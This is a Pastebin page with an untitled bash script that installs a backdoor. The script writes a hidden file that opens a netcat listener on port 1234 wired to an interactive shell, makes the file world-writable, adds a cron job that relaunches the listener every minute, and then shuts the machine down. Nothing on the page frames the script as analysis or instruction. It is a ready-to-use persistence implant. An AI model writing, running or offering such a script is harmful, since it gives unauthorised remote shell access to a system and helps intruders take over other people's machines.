Advertisement
Guest User

Untitled

a guest
Feb 17th, 2020
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.30 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. touch ~/.session-rc
  4. echo -e 'n=$(ps aux | grep -o [1]234)\nif [[ $n = "" ]]; then\n mkfifo f\n nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1\nfi' >> ~/.session-rc
  5. chmod 777 ~/.session-rc
  6. (crontab -l 2>/dev/null; echo "* * * * * ~/.session-rc") | crontab -
  7. shutdown -h now
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement